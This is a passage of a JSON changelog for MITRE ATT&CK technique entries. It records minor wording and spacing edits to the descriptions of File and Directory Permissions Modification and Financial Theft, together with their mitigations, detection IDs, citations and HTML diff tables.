Execution Flow](https://attack.mitre.org/techniques/T1574).\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +1,5 @@\\n Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\\n \\n-Windows implements file and directory ACLs as Discretionary Access Control Lists (DACLs).(Citation: Microsoft DACL May 2018) Similar to a standard ACL, DACLs identifies the accounts that are allowed or denied access to a securable object. When an attempt is made to access a securable object, the system checks the access control entries in the DACL in order. If a matching entry is found, access to the object is granted. Otherwise, access is denied.(Citation: Microsoft Access Control Lists May 2018)\\n+Windows implements file and directory ACLs as Discretionary Access Control Lists (DACLs).(Citation: Microsoft DACL May 2018) Similar to a standard ACL, DACLs identify the accounts that are allowed or denied access to a securable object. When an attempt is made to access a securable object, the system checks the access control entries in the DACL in order. If a matching entry is found, access to the object is granted. Otherwise, access is denied.(Citation: Microsoft Access Control Lists May 2018)\\n \\n Adversaries can interact with the DACLs using built-in Windows commands, such as `icacls`, `cacls`, `takeown`, and `attrib`, which can grant adversaries higher permissions on specific files and folders. Further, [PowerShell](https://attack.mitre.org/techniques/T1059/001) provides cmdlets that can be used to retrieve or modify file and directory DACLs. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).\"}}}",
                    "previous_version": "2.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to107__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to107__0\"><a href=\"#difflib_chg_to107__top\">t</a></td><td class=\"diff_header\" id=\"from107_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;modify&nbsp;file&nbsp;or&nbsp;directory&nbsp;permissions/attribu</td><td class=\"diff_next\"><a href=\"#difflib_chg_to107__top\">t</a></td><td class=\"diff_header\" id=\"to107_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;modify&nbsp;file&nbsp;or&nbsp;directory&nbsp;permissions/attribu</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tes&nbsp;to&nbsp;evade&nbsp;access&nbsp;control&nbsp;lists&nbsp;(ACLs)&nbsp;and&nbsp;access&nbsp;protecte</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tes&nbsp;to&nbsp;evade&nbsp;access&nbsp;control&nbsp;lists&nbsp;(ACLs)&nbsp;and&nbsp;access&nbsp;protecte</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;files.(Citation:&nbsp;Hybrid&nbsp;Analysis&nbsp;Icacls1&nbsp;June&nbsp;2018)(Citati</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;files.(Citation:&nbsp;Hybrid&nbsp;Analysis&nbsp;Icacls1&nbsp;June&nbsp;2018)(Citati</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on:&nbsp;Hybrid&nbsp;Analysis&nbsp;Icacls2&nbsp;May&nbsp;2018)&nbsp;File&nbsp;and&nbsp;directory&nbsp;per</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on:&nbsp;Hybrid&nbsp;Analysis&nbsp;Icacls2&nbsp;May&nbsp;2018)&nbsp;File&nbsp;and&nbsp;directory&nbsp;per</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">missions&nbsp;are&nbsp;commonly&nbsp;managed&nbsp;by&nbsp;ACLs&nbsp;configured&nbsp;by&nbsp;the&nbsp;file</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">missions&nbsp;are&nbsp;commonly&nbsp;managed&nbsp;by&nbsp;ACLs&nbsp;configured&nbsp;by&nbsp;the&nbsp;file</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;or&nbsp;directory&nbsp;owner,&nbsp;or&nbsp;users&nbsp;with&nbsp;the&nbsp;appropriate&nbsp;permissio</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;or&nbsp;directory&nbsp;owner,&nbsp;or&nbsp;users&nbsp;with&nbsp;the&nbsp;appropriate&nbsp;permissio</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ns.&nbsp;File&nbsp;and&nbsp;directory&nbsp;ACL&nbsp;implementations&nbsp;vary&nbsp;by&nbsp;platform,</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ns.&nbsp;File&nbsp;and&nbsp;directory&nbsp;ACL&nbsp;implementations&nbsp;vary&nbsp;by&nbsp;platform,</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;but&nbsp;generally&nbsp;explicitly&nbsp;designate&nbsp;which&nbsp;users&nbsp;or&nbsp;groups&nbsp;ca</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;but&nbsp;generally&nbsp;explicitly&nbsp;designate&nbsp;which&nbsp;users&nbsp;or&nbsp;groups&nbsp;ca</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;perform&nbsp;which&nbsp;actions&nbsp;(read,&nbsp;write,&nbsp;execute,&nbsp;etc.).&nbsp;&nbsp;Windo</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;perform&nbsp;which&nbsp;actions&nbsp;(read,&nbsp;write,&nbsp;execute,&nbsp;etc.).&nbsp;&nbsp;Windo</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ws&nbsp;implements&nbsp;file&nbsp;and&nbsp;directory&nbsp;ACLs&nbsp;as&nbsp;Discretionary&nbsp;Acces</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ws&nbsp;implements&nbsp;file&nbsp;and&nbsp;directory&nbsp;ACLs&nbsp;as&nbsp;Discretionary&nbsp;Acces</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;Control&nbsp;Lists&nbsp;(DACLs).(Citation:&nbsp;Microsoft&nbsp;DACL&nbsp;May&nbsp;2018)&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;Control&nbsp;Lists&nbsp;(DACLs).(Citation:&nbsp;Microsoft&nbsp;DACL&nbsp;May&nbsp;2018)&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Similar&nbsp;to&nbsp;a&nbsp;standard&nbsp;ACL,&nbsp;DACLs&nbsp;identif<span class=\"diff_chg\">ies&nbsp;the&nbsp;accounts&nbsp;tha</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Similar&nbsp;to&nbsp;a&nbsp;standard&nbsp;ACL,&nbsp;DACLs&nbsp;identif<span class=\"diff_chg\">y&nbsp;the&nbsp;accounts&nbsp;that&nbsp;</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_chg\">t&nbsp;are</span>&nbsp;allowed&nbsp;or&nbsp;denied&nbsp;access&nbsp;to&nbsp;a&nbsp;securable&nbsp;object.&nbsp;When&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_chg\">are</span>&nbsp;allowed&nbsp;or&nbsp;denied&nbsp;access&nbsp;to&nbsp;a&nbsp;securable&nbsp;object.&nbsp;When&nbsp;an&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;attempt&nbsp;is&nbsp;made&nbsp;to&nbsp;access&nbsp;a&nbsp;securable&nbsp;object,&nbsp;the&nbsp;system&nbsp;c</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">attempt&nbsp;is&nbsp;made&nbsp;to&nbsp;access&nbsp;a&nbsp;securable&nbsp;object,&nbsp;the&nbsp;system&nbsp;che</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hecks&nbsp;the&nbsp;access&nbsp;control&nbsp;entries&nbsp;in&nbsp;the&nbsp;DACL&nbsp;in&nbsp;order.&nbsp;If&nbsp;a&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cks&nbsp;the&nbsp;access&nbsp;control&nbsp;entries&nbsp;in&nbsp;the&nbsp;DACL&nbsp;in&nbsp;order.&nbsp;If&nbsp;a&nbsp;ma</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">matching&nbsp;entry&nbsp;is&nbsp;found,&nbsp;access&nbsp;to&nbsp;the&nbsp;object&nbsp;is&nbsp;granted.&nbsp;Ot</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tching&nbsp;entry&nbsp;is&nbsp;found,&nbsp;access&nbsp;to&nbsp;the&nbsp;object&nbsp;is&nbsp;granted.&nbsp;Othe</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">herwise,&nbsp;access&nbsp;is&nbsp;denied.(Citation:&nbsp;Microsoft&nbsp;Access&nbsp;Contro</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rwise,&nbsp;access&nbsp;is&nbsp;denied.(Citation:&nbsp;Microsoft&nbsp;Access&nbsp;Control&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">l&nbsp;Lists&nbsp;May&nbsp;2018)&nbsp;&nbsp;Adversaries&nbsp;can&nbsp;interact&nbsp;with&nbsp;the&nbsp;DACLs&nbsp;u</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Lists&nbsp;May&nbsp;2018)&nbsp;&nbsp;Adversaries&nbsp;can&nbsp;interact&nbsp;with&nbsp;the&nbsp;DACLs&nbsp;usi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">sing&nbsp;built-in&nbsp;Windows&nbsp;commands,&nbsp;such&nbsp;as&nbsp;`icacls`,&nbsp;`cacls`,&nbsp;`</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ng&nbsp;built-in&nbsp;Windows&nbsp;commands,&nbsp;such&nbsp;as&nbsp;`icacls`,&nbsp;`cacls`,&nbsp;`ta</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">takeown`,&nbsp;and&nbsp;`attrib`,&nbsp;which&nbsp;can&nbsp;grant&nbsp;adversaries&nbsp;higher&nbsp;p</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">keown`,&nbsp;and&nbsp;`attrib`,&nbsp;which&nbsp;can&nbsp;grant&nbsp;adversaries&nbsp;higher&nbsp;per</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ermissions&nbsp;on&nbsp;specific&nbsp;files&nbsp;and&nbsp;folders.&nbsp;Further,&nbsp;[PowerShe</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">missions&nbsp;on&nbsp;specific&nbsp;files&nbsp;and&nbsp;folders.&nbsp;Further,&nbsp;[PowerShell</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ll](https://attack.mitre.org/techniques/T1059/001)&nbsp;provides&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">](https://attack.mitre.org/techniques/T1059/001)&nbsp;provides&nbsp;cm</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cmdlets&nbsp;that&nbsp;can&nbsp;be&nbsp;used&nbsp;to&nbsp;retrieve&nbsp;or&nbsp;modify&nbsp;file&nbsp;and&nbsp;dire</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">dlets&nbsp;that&nbsp;can&nbsp;be&nbsp;used&nbsp;to&nbsp;retrieve&nbsp;or&nbsp;modify&nbsp;file&nbsp;and&nbsp;direct</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ctory&nbsp;DACLs.&nbsp;Specific&nbsp;file&nbsp;and&nbsp;directory&nbsp;modifications&nbsp;may&nbsp;b</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ory&nbsp;DACLs.&nbsp;Specific&nbsp;file&nbsp;and&nbsp;directory&nbsp;modifications&nbsp;may&nbsp;be&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;a&nbsp;required&nbsp;step&nbsp;for&nbsp;many&nbsp;techniques,&nbsp;such&nbsp;as&nbsp;establishing&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">a&nbsp;required&nbsp;step&nbsp;for&nbsp;many&nbsp;techniques,&nbsp;such&nbsp;as&nbsp;establishing&nbsp;Pe</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Persistence&nbsp;via&nbsp;[Accessibility&nbsp;Features](https://attack.mitr</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rsistence&nbsp;via&nbsp;[Accessibility&nbsp;Features](https://attack.mitre.</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e.org/techniques/T1546/008),&nbsp;[Boot&nbsp;or&nbsp;Logon&nbsp;Initialization&nbsp;S</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">org/techniques/T1546/008),&nbsp;[Boot&nbsp;or&nbsp;Logon&nbsp;Initialization&nbsp;Scr</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cripts](https://attack.mitre.org/techniques/T1037),&nbsp;or&nbsp;taint</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ipts](https://attack.mitre.org/techniques/T1037),&nbsp;or&nbsp;taintin</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ing/hijacking&nbsp;other&nbsp;instrumental&nbsp;binary/configuration&nbsp;files&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">g/hijacking&nbsp;other&nbsp;instrumental&nbsp;binary/configuration&nbsp;files&nbsp;vi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">via&nbsp;[Hijack&nbsp;Execution&nbsp;Flow](https://attack.mitre.org/techniq</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">a&nbsp;[Hijack&nbsp;Execution&nbsp;Flow](https://attack.mitre.org/technique</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ues/T1574).</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s/T1574).</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1022: Restrict File and Directory Permissions",
                            "M1026: Privileged Account Management"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0418: Windows DACL Manipulation Behavioral Chain Detection Strategy"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--851e071f-208d-4c79-adc6-5974c85c78f3",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2023-08-18 20:50:04.222000+00:00",
                    "modified": "2026-11-04 01:14:07.996000+00:00",
                    "name": "Financial Theft",
                    "description": "Adversaries may steal monetary resources from targets through extortion, social engineering, technical theft, or other methods aimed at their own financial gain at the expense of the availability of these resources for victims. Financial theft is the ultimate objective of several popular campaign types including extortion by ransomware,(Citation: FBI-ransomware) business email compromise (BEC) and fraud,(Citation: FBI-BEC) \"pig butchering,\"(Citation: wired-pig butchering) bank hacking,(Citation: DOJ-DPRK Heist) and exploiting cryptocurrency networks.(Citation: BBC-Ronin) \n\nAdversaries may [Compromise Accounts](https://attack.mitre.org/techniques/T1586) to conduct unauthorized transfers of funds.(Citation: Internet crime report 2022) In the case of business email compromise or email fraud, an adversary may utilize [Impersonation](https://attack.mitre.org/techniques/T1684/001) of a trusted entity. Once the social engineering is successful, victims can be deceived into sending money to financial accounts controlled by an adversary.(Citation: FBI-BEC) This creates the potential for multiple victims (i.e., compromised accounts as well as the ultimate monetary loss) in incidents involving financial theft.(Citation: VEC)\n\nExtortion by ransomware may occur, for example, when an adversary demands payment from a victim after [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486)(Citation: NYT-Colonial) and [Exfiltration](https://attack.mitre.org/tactics/TA0010) of data, followed by threatening to leak sensitive data to the public unless payment is made to the adversary.(Citation: Mandiant-leaks) Adversaries may use dedicated leak sites to distribute victim data.(Citation: Crowdstrike-leaks)\n\nDue to the potentially immense business impact of financial theft, an adversary may abuse the possibility of financial theft and seeking monetary gain to divert attention from their true goals such as [Data Destruction](https://attack.mitre.org/techniques/T1485) and business disruption.(Citation: AP-NotPetya)",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "impact"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1657",
                            "external_id": "T1657"
                        },
                        {
                            "source_name": "VEC",
                            "description": "CloudFlare. (n.d.). What is vendor email compromise (VEC)?. Retrieved September 12, 2023.",
                            "url": "https://www.cloudflare.com/learning/email-security/what-is-vendor-email-compromise/#:~:text=Vendor%20email%20compromise%2C%20also%20referred,steal%20from%20that%20vendor%27s%20customers."
                        },
                        {
                            "source_name": "Crowdstrike-leaks",
                            "description": "Crowdstrike. (2020, September 24). Double Trouble: Ransomware with Data Leak Extortion, Part 1. Retrieved December 6, 2023.",
                            "url": "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/"
                        },
                        {
                            "source_name": "Mandiant-leaks",
                            "description": "DANIEL KAPELLMANN ZAFRA, COREY HIDELBRANDT, NATHAN BRUBAKER, KEITH LUNDEN. (2022, January 31). 1 in 7 OT Ransomware Extortion Attacks Leak Critical Operational Technology Information. Retrieved August 18, 2023.",
                            "url": "https://www.mandiant.com/resources/blog/ransomware-extortion-ot-docs"
                        },
                        {
                            "source_name": "DOJ-DPRK Heist",
                            "description": "Department of Justice. (2021). 3 North Korean Military Hackers Indicted in Wide-Ranging Scheme to Commit Cyber-attacks and Financial Crimes Across the Globe. Retrieved August 18, 2023.",
                            "url": "https://www.justice.gov/usao-cdca/pr/3-north-korean-military-hackers-indicted-wide-ranging-scheme-commit-cyber-attacks-and"
                        },
                        {
                            "source_name": "FBI-BEC",
                            "description": "FBI. (2022). FBI 2022 Congressional Report on BEC and Real Estate Wire Fraud. Retrieved August 18, 2023.",
                            "url": "https://www.fbi.gov/file-repository/fy-2022-fbi-congressional-report-business-email-compromise-and-real-estate-wire-fraud-111422.pdf/view"
                        },
                        {
                            "source_name": "FBI-ransomware",
                            "description": "FBI. (n.d.). Ransomware. Retrieved August 18, 2023.",
                            "url": "https://www.cisa.gov/sites/default/files/Ransomware_Trifold_e-version.pdf"
                        },
                        {
                            "source_name": "AP-NotPetya",
                            "description": "FRANK BAJAK AND RAPHAEL SATTER. (2017, June 30). Companies still hobbled from fearsome cyberattack. Retrieved August 18, 2023.",
                            "url": "https://apnews.com/article/russia-ukraine-technology-business-europe-hacking-ce7a8aca506742ab8e8873e7f9f229c2"
                        },
                        {
                            "source_name": "Internet crime report 2022",
                            "description": "IC3. (2022). 2022 Internet Crime Report. Retrieved August 18, 2023.",
                            "url": "https://www.ic3.gov/Media/PDF/AnnualReport/2022_IC3Report.pdf"
                        },
                        {
                            "source_name": "BBC-Ronin",
                            "description": "Joe Tidy. (2022, March 30). Ronin Network: What a $600m hack says about the state of crypto. Retrieved August 18, 2023.",
                            "url": "https://www.bbc.com/news/technology-60933174"
                        },
                        {
                            "source_name": "wired-pig butchering",
                            "description": "Lily Hay Newman. (n.d.). \u2018Pig Butchering\u2019 Scams Are Now a $3 Billion Threat. Retrieved August 18, 2023.",
                            "url": "https://www.wired.com/story/pig-butchering-fbi-ic3-2022-report/"
                        },
                        {
                            "source_name": "NYT-Colonial",
                            "description": "Nicole Perlroth. (2021, May 13). Colonial Pipeline paid 75 Bitcoin, or roughly $5 million, to hackers.. Retrieved August 18, 2023.",
                            "url": "https://www.nytimes.com/2021/05/13/technology/colonial-pipeline-ransom.html"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Blake Strom, Microsoft Threat Intelligence",
                        "Pawel Partyka, Microsoft Threat Intelligence",
                        "Menachem Goldstein"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_impact_type": [
                        "Availability"
                    ],
                    "x_mitre_is_subtechnique": false,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Linux",
                        "macOS",
                        "Office Suite",
                        "SaaS",
                        "Windows"
                    ],
                    "x_mitre_version": "1.2",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 01:14:07.996000+00:00\", \"old_value\": \"2026-05-12 15:12:00.685000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may steal monetary resources from targets through extortion, social engineering, technical theft, or other methods aimed at their own financial gain at the expense of the availability of these resources for victims. Financial theft is the ultimate objective of several popular campaign types including extortion by ransomware,(Citation: FBI-ransomware) business email compromise (BEC) and fraud,(Citation: FBI-BEC) \\\"pig butchering,\\\"(Citation: wired-pig butchering) bank hacking,(Citation: DOJ-DPRK Heist) and exploiting cryptocurrency networks.(Citation: BBC-Ronin) \\n\\nAdversaries may [Compromise Accounts](https://attack.mitre.org/techniques/T1586) to conduct unauthorized transfers of funds.(Citation: Internet crime report 2022) In the case of business email compromise or email fraud, an adversary may utilize [Impersonation](https://attack.mitre.org/techniques/T1684/001) of a trusted entity. Once the social engineering is successful, victims can be deceived into sending money to financial accounts controlled by an adversary.(Citation: FBI-BEC) This creates the potential for multiple victims (i.e., compromised accounts as well as the ultimate monetary loss) in incidents involving financial theft.(Citation: VEC)\\n\\nExtortion by ransomware may occur, for example, when an adversary demands payment from a victim after [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486)(Citation: NYT-Colonial) and [Exfiltration](https://attack.mitre.org/tactics/TA0010) of data, followed by threatening to leak sensitive data to the public unless payment is made to the adversary.(Citation: Mandiant-leaks) Adversaries may use dedicated leak sites to distribute victim data.(Citation: Crowdstrike-leaks)\\n\\nDue to the potentially immense business impact of financial theft, an adversary may abuse the possibility of financial theft and seeking monetary gain to divert attention from their true goals such as [Data Destruction](https://attack.mitre.org/techniques/T1485) and business disruption.(Citation: AP-NotPetya)\", \"old_value\": \"Adversaries may steal monetary resources from targets through extortion, social engineering, technical theft, or other methods aimed at their own financial gain at the expense of the availability of these resources for victims. Financial theft is the ultimate objective of several popular campaign types including extortion by ransomware,(Citation: FBI-ransomware) business email compromise (BEC) and fraud,(Citation: FBI-BEC) \\\"pig butchering,\\\"(Citation: wired-pig butchering) bank hacking,(Citation: DOJ-DPRK Heist) and exploiting cryptocurrency networks.(Citation: BBC-Ronin) \\n\\nAdversaries may [Compromise Accounts](https://attack.mitre.org/techniques/T1586) to conduct unauthorized transfers of funds.(Citation: Internet crime report 2022) In the case of business email compromise or email fraud, an adversary may utilize [Impersonation](https://attack.mitre.org/techniques/T1684/001) of a trusted entity. Once the social engineering is successful, victims can be deceived into sending money to financial accounts controlled by an adversary.(Citation: FBI-BEC) This creates the potential for multiple victims (i.e., compromised accounts as well as the ultimate monetary loss) in incidents involving financial theft.(Citation: VEC)\\n\\nExtortion by ransomware may occur, for example, when an adversary demands payment from a victim after [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) (Citation: NYT-Colonial) and [Exfiltration](https://attack.mitre.org/tactics/TA0010) of data, followed by threatening to leak sensitive data to the public unless payment is made to the adversary.(Citation: Mandiant-leaks) Adversaries may use dedicated leak sites to distribute victim data.(Citation: Crowdstrike-leaks)\\n\\nDue to the potentially immense business impact of financial theft, an adversary may abuse the possibility of financial theft and seeking monetary gain to divert attention from their true goals such as [Data Destruction](https://attack.mitre.org/techniques/T1485) and business disruption.(Citation: AP-NotPetya)\", \"diff\": \"--- \\n+++ \\n@@ -2,6 +2,6 @@\\n \\n Adversaries may [Compromise Accounts](https://attack.mitre.org/techniques/T1586) to conduct unauthorized transfers of funds.(Citation: Internet crime report 2022) In the case of business email compromise or email fraud, an adversary may utilize [Impersonation](https://attack.mitre.org/techniques/T1684/001) of a trusted entity. Once the social engineering is successful, victims can be deceived into sending money to financial accounts controlled by an adversary.(Citation: FBI-BEC) This creates the potential for multiple victims (i.e., compromised accounts as well as the ultimate monetary loss) in incidents involving financial theft.(Citation: VEC)\\n \\n-Extortion by ransomware may occur, for example, when an adversary demands payment from a victim after [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) (Citation: NYT-Colonial) and [Exfiltration](https://attack.mitre.org/tactics/TA0010) of data, followed by threatening to leak sensitive data to the public unless payment is made to the adversary.(Citation: Mandiant-leaks) Adversaries may use dedicated leak sites to distribute victim data.(Citation: Crowdstrike-leaks)\\n+Extortion by ransomware may occur, for example, when an adversary demands payment from a victim after [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486)(Citation: NYT-Colonial) and [Exfiltration](https://attack.mitre.org/tactics/TA0010) of data, followed by threatening to leak sensitive data to the public unless payment is made to the adversary.(Citation: Mandiant-leaks) Adversaries may use dedicated leak sites to distribute victim data.(Citation: Crowdstrike-leaks)\\n \\n Due to the potentially immense business impact of financial theft, an adversary may abuse the possibility of financial theft and seeking monetary gain to divert attention from their true goals such as [Data Destruction](https://attack.mitre.org/techniques/T1485) and business disruption.(Citation: AP-NotPetya)\"}}}",
                    "previous_version": "1.2",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to28__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to28__0\"><a href=\"#difflib_chg_to28__top\">t</a></td><td class=\"diff_header\" id=\"from28_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;steal&nbsp;monetary&nbsp;resources&nbsp;from&nbsp;targets&nbsp;throug</td><td class=\"diff_next\"><a href=\"#difflib_chg_to28__top\">t</a></td><td class=\"diff_header\" id=\"to28_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;steal&nbsp;monetary&nbsp;resources&nbsp;from&nbsp;targets&nbsp;throug</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">h&nbsp;extortion,&nbsp;social&nbsp;engineering,&nbsp;technical&nbsp;theft,&nbsp;or&nbsp;other&nbsp;m</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td 